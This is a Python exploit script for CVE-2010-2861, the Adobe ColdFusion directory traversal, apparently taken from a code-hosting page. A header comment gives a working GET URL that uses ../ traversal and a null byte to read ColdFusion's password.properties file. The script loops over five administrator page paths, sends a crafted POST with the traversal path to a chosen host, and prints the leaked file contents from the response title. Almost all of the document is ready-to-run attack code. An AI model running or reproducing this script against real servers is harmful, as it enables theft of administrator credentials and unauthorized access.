65 lines
No EOL
2 KiB
Python
Executable file
65 lines
No EOL
2 KiB
Python
Executable file
# Working GET request courtesy of carnal0wnage:
|
|
# http://server/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en
|
|
#
|
|
# LLsecurity added another admin page filename: "/CFIDE/administrator/enter.cfm"
|
|
|
|
|
|
#!/usr/bin/python
|
|
|
|
# CVE-2010-2861 - Adobe ColdFusion Unspecified Directory Traversal Vulnerability
|
|
# detailed information about the exploitation of this vulnerability:
|
|
# http://www.gnucitizen.org/blog/coldfusion-directory-traversal-faq-cve-2010-2861/
|
|
|
|
# leo 13.08.2010
|
|
|
|
import sys
|
|
import socket
|
|
import re
|
|
|
|
# in case some directories are blocked
|
|
filenames = ("/CFIDE/wizards/common/_logintowizard.cfm", "/CFIDE/administrator/archives/index.cfm", "/cfide/install.cfm", "/CFIDE/administrator/entman/index.cfm", "/CFIDE/administrator/enter.cfm")
|
|
|
|
post = """POST %s HTTP/1.1
|
|
Host: %s
|
|
Connection: close
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: %d
|
|
|
|
locale=%%00%s%%00a"""
|
|
|
|
def main():
|
|
if len(sys.argv) != 4:
|
|
print "usage: %s <host> <port> <file_path>" % sys.argv[0]
|
|
print "example: %s localhost 80 ../../../../../../../lib/password.properties" % sys.argv[0]
|
|
print "if successful, the file will be printed"
|
|
return
|
|
|
|
host = sys.argv[1]
|
|
port = sys.argv[2]
|
|
path = sys.argv[3]
|
|
|
|
for f in filenames:
|
|
print "------------------------------"
|
|
print "trying", f
|
|
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
s.connect((host, int(port)))
|
|
s.send(post % (f, host, len(path) + 14, path))
|
|
|
|
buf = ""
|
|
while 1:
|
|
buf_s = s.recv(1024)
|
|
if len(buf_s) == 0:
|
|
break
|
|
buf += buf_s
|
|
|
|
m = re.search('<title>(.*)</title>', buf, re.S)
|
|
if m != None:
|
|
title = m.groups(0)[0]
|
|
print "title from server in %s:" % f
|
|
print "------------------------------"
|
|
print m.groups(0)[0]
|
|
print "------------------------------"
|
|
|
|
if __name__ == '__main__':
|
|
main() |